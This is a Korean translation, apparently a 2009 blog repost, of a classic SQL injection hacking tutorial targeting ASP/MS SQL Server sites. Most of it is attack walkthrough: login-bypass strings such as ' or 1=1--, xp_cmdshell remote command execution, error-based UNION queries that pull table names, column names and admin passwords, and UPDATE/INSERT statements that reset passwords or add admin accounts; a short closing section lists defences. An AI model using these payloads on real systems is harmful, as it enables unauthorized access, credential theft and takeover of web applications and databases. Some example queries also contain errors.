Details
1.0 Introduction
============================================
서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
당신도 알다시피 관리자는 항상 서버를 패치한다.
우리는 웹해킹으로 관점을 돌려야 한다.
SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다.
SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
당신은 한 두가지를 더 발견할수 있을 것이다.
그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


1.1 What is SQL Injection?
-------------------------------------------------------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
-------------------------------------------------------------------------
어떤 브라우저라도 좋다.


2.0 What you should look for?
============================================
데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.


2.1 What if you can't find any page that takes input?
-------------------------------------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10


3.0 How do you test if it is vulnerable?
============================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
-------------------------------------------------------------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼 리는 product 테이블로 부터 모든것을 선택한다.
PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


4.0 How do I get remote execution with SQL injection?
============================================
만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.


5.0 How to get output of my SQL query?
============================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.


6.0 How to get data from the database using ODBC error message
============================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


6.1 How to mine all column names of a table?
---------------------------------------------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
"password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


6.2 How to retrieve any data we want?
---------------------------------------------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


6.3 How to get numeric string value?
---------------------------------------------------------------------------
위에 설명한 테크닉에는 제한 사항이 있다.
만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='trinity'--

우 리는 "Page Not Found" 에러를 얻을 것이다.
정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1
convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--

우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.


7.0 How to update/insert data into the database?
============================================
우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login'
SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO
'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.


8.0 How to avoid SQL Injection?
============================================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
"Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
============================================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

2009/08/11 15:03 2009/08/11 15:03

Trackback Address :: 이 글에는 트랙백을 보낼 수 없습니다